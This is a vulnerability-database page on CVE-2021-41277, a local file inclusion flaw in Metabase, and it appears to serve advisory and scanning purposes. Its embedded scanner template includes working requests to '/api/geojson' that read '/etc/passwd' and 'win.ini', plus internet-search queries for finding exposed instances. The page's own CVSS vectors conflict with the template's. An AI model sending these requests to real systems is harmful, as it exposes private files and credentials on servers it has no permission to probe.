CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
CHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
LOW
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L
AI Score
Confidence
High
EPSS
Percentile
99.3%
Metabase is an open source data analytics platform. In affected versions a local file inclusion security issue has been discovered with the custom GeoJSON map (`admin->settings->maps->custom maps->add a map`) support and potential local file inclusion (including environment variables). URLs were not validated prior to being loaded.
id: CVE-2021-41277
info:
name: Metabase - Local File Inclusion
author: 0x_Akoko,DhiyaneshDK
severity: high
description: |
Metabase is an open source data analytics platform. In affected versions a local file inclusion security issue has been discovered with the custom GeoJSON map (`admin->settings->maps->custom maps->add a map`) support and potential local file inclusion (including environment variables). URLs were not validated prior to being loaded.
impact: |
The vulnerability can result in unauthorized access to sensitive files or execution of arbitrary code on the affected system.
remediation: |
This issue is fixed in 0.40.5 and .40.5 and higher. If you are unable to upgrade immediately, you can mitigate this by including rules in your reverse proxy or load balancer or WAF to provide a validation filter before the application.
reference:
- https://github.com/metabase/metabase/security/advisories/GHSA-w73v-6p7p-fpfr
- https://nvd.nist.gov/vuln/detail/CVE-2021-41277
- https://twitter.com/90security/status/1461923313819832324
- https://github.com/metabase/metabase/commit/042a36e49574c749f944e19cf80360fd3dc322f0
- https://github.com/pen4uin/vulnerability-research-list
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2021-41277
cwe-id: CWE-22,CWE-200
epss-score: 0.95556
epss-percentile: 0.99393
cpe: cpe:2.3:a:metabase:metabase:0.40.0:-:*:*:*:*:*:*
metadata:
max-request: 2
vendor: metabase
product: metabase
shodan-query:
- "http.title:\"Metabase\""
- http.title:"metabase"
fofa-query:
- "app=\"Metabase\""
- title="metabase"
- app="metabase"
google-query: "intitle:\"metabase\""
tags: cve2021,cve,metabase,lfi
http:
- method: GET
path:
- "{{BaseURL}}/api/geojson?url=file:///etc/passwd"
- "{{BaseURL}}/api/geojson?url=file:///c://windows/win.ini"
stop-at-first-match: true
matchers-condition: or
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0"
- type: word
part: body
words:
- "bit app support"
- "fonts"
- "extensions"
condition: and
# digest: 490a00463044022064b27975b3e68083cf963f1ad832b952c8128f0102c4ca802ac34232aede6cd1022069cb21822d643d8f844273e6ca25c6880138c8aae5672374b92256e4572442bb:922c64590222798bb761d5b6d8e72950
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
CHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
LOW
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L
AI Score
Confidence
High
EPSS
Percentile
99.3%